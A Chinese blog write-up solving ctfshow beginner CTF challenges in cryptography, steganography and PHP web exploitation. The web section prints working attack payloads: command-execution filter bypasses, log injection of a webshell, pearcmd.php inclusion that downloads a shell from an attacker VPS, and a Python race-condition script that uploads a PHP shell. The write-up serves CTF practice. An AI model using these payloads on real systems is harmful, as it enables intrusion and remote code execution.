ctfshow MengXIn 下(pearcmd.php妙用&条件竞争&简单密码&简单misc)

发布于:2023-02-18 ⋅ 阅读:(826) ⋅ 点赞:(0)

目录

萌新_密码1

萌新_密码2 

萌新 密码3

萌新 密码#4

萌新 隐写2

萌新 隐写3

萌新 隐写4

萌新隐写5 

萌新隐写6

隐写1

隐写2

web11-13

web14

web15

web16

​编辑

web17

web18

web19-21

web22

获得百分之百的快乐

web23

web24


萌新_密码1

 密文:

53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D

D和F等字母没先其他的,可能是十六进制。解密后得到一串base64编码

S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=

再次进行base64解码,得到:

KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8} 不难看出这是栅栏密码

用下载下来的工具解密后得到flag  (下下下载没什么关系,直接百度搜索在线解密也可以)

萌新_密码2 

出题人已累,随便敲了几下键盘。。。 rdcvbg 2qase3 6tghu7

单独看空格分开的字母  rdcvbg圈住了f   2qase3圈住了w  6tghu7圈住了y

所以flag为:KEY{fwy}

萌新 密码3

题目描述:-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. --

摩斯密码解密后得到:mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm

类似于培根密码,但培根密码是只有A和B 我们转换过来后是

AABBABABAAABBBABABBAAAAAAABBABAABBA

培根密码解密得到:guowang

这里提交的时候还需要大写,不知道为什么。。

萌新 密码#4

QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

base64解码后是Ao(mgHX^E)ARAnTF(J]f@<6".

hint提到:比base64还大的 有base85 base91 base100

乱七八糟的base85解密后得到flag:

 再补全一个ase} 得到flag

萌新 隐写2

hint:文件的主人喜欢用生日做密码,而且还是个90后。

下载下来之后发现是一个flag.zip

加密的压缩包,我们用ARCHPR爆破一下压缩包密码

掩码 199????? 最后爆破得到密码为:19981000

萌新 隐写3

不知道为什么,打开后直接得到了flag:flag{xinti_gkd}

萌新 隐写4

下载下来后是个.doc文档,

1. 将后缀改为.txt之后,打开后可以找到flag

 2. 010editor打开

萌新隐写5 

文本文件打开:得到一串中文:

 中文转Unicode 得到:\u4d00\u5a00\u5700\u4700\u4300\u5a00\u5a00\u4900\u4e00\u4200\u5100\u5700\u3600\u5800\u3300\u4b00\u4e00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4c00\u3500\u5200\u4400\u4700\u4d00\u5300\u3700\u4600\u4500\u3d00\u3d00\u3d00\u3d00\u3d00\u3d00\\=\u3002=//

 对这串字符base16解码后得到:MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======

 再对其进行base32解码后得到flag

  自作主张把()换成了{}结果flag不对 其实不用换,多手了。。。

萌新隐写6

题目给的文件下载后得到一个 .flac的文件 打开发现是个music

我们用audacity 工具打开这段音频

链接: https://pan.baidu.com/s/1ySRUoWxH9E5spl2rvIgqdQ

提取码: 1vxy

 发现其左声道 听起来类似于一段摩斯密码

我们导出其为.mp3 然后放到 International Morse Code Decoders | Morse Code World

上 上传文件,他会自动播放然后进行摩斯解密  得到flag为:M U Z I K I S G 0 0 D

隐写1

发现下载下来的PNG图片打不开

010editor打开后发现是 PNG的图片头有误

应为:89504E47

 我们修改为正确的之后打开,得到flag

隐写2

打开图片后是JPHS

工具下载下来也是 JPHS

工具介绍:180214—【CTF】隐写:JPHS_DRondong的博客-CSDN博客_jphswin

 工具打开flag.jpg 点击seek 密码为空 下载下来文件1.txt 打开得到flag

web11-13

passthru('tac con*')?>

web14

过滤了;和(    ;可以用?>代替 至于不用()的危险函数,就用``来命令执行。

echo `tac con*`?>

web15

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

system * ? < > = exec highlight cat ( . file php config 等关键字

但是此次 ; 被放了出来。我们过滤是过滤了get的,我们可以构造POST传一个参数来进行rce

echo `$_POST[1]`;

post传参:1=cat config.php

我们用hackbar的话会返回空白,源码也是。这个问题不大,我们换成burp

更改请求方式为POST

添加 Content-Type: application/x-www-form-urlencoded

加入body参数 1=cat config.php

web16

$c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag; 

 所以get传入c=36d 得到flag

web17

 日志注入,burp抓包在 User-Agent 写入一句话木马

蚁剑连接,在36.php里得到flag

web18

 多过滤了一个file,无伤大雅,同web17

web19-21

同上

后面几道web虽然在萌新里,但对萌新很不友好,萌新的话建议做做其他的练习之后再回过头来做这几道题。

web22

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }


}else{
        highlight_file(__FILE__);
}
?> 

include方面目前我见过的,就是伪协议以及日志注入,但是这道题过滤了: 和 / 没思路

但是看了其他师傅的博客之后,居然还能搞??

参考:ctfshow 萌新22 (类似级客巅峰web4)_Firebasky的博客-CSDN博客_ctfshow 萌新22

难度挺大的。据说是:修改php.ini里面的配置(register_argc_argv) 可以做

register_argc_argv 介绍:

        通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
        $argc变量是⽤于记录数组的⼤⼩
        $argv变量是⽤于记录输⼊的参数

p神解释:

        经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off

Docker PHP裸文件本地包含综述 - 跳跳糖
奇淫技巧:
        p神的知识星球里提到:我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER['argv']的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的个数始终是 1

 在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀

这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令

在我们的vps上面创建一个test.php

<?php
echo "<?php system(whoami);?>";
?>

然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php 

 访问 题目url/test.php

 返回 www-data 可以知道我们用户身份为 www-data 也证明成功下载了我们test.php

那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag

 但不知道为什么这个更改为木马文件后,就下载不下来了。

看到大师傅后面说的原因是:

实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。

我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81 开放一个服务

最终传入?c=pearcmd&+download+http:/vpsip:81/shell.php 

 成功下载下来了shell.php木马文件  密码为shell

 得到flag

获得百分之百的快乐

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?> 

  有限字符下的任意命令执行,限制了长度只能是三个字符

先传入 1=ls 发现只有s和z开头的文件

        只限3个字符的shell_exec,利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似

        Linux中文件排序按照26个英文字母顺序排放,我们利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位(n在s和z前,o也在s和z前)

因此

payload1:?1=>nl  后 ?1=*

payload2:?1=>od 后 ?1=*

web23

我们上传一下一句话php木马文件,发现上传成功,但是访问时却404

可能是存在条件竞争给删除掉了

贴一下y2hlbmc师傅的脚本:

# coding: utf-8
# Auth: y2hlbmc
 
import requests
import time
import threading
 
url = "http://1123c181-51e1-4e79-881d-4bf533022b4c.challenge.ctf.show:8080/"
 
def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)
 
def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)
 
def Thread_start(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()
 
def upload():
    while True:
        file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次upload的文件名
        Thread(Thread_start, fname).start()
 
 
if __name__ == '__main__':
    upload()

执行力 ls -l的命令,发现了 flag文件:flaghere0.txt

更改shell.php文件内容:

<?php system(\"ls -l ../\");?> 为 <?php system(\"cat ../flaghere0.txt\");?>

 

得到flag

web24

提示:相比web23,随机数减少到300,延时增加到3秒

 代码同web23,

把    fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))

改为    fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))

之后更改 ls -l ../ 为 cat flaghere0.txt

得到flag

本文含有隐藏内容,请 开通VIP 后查看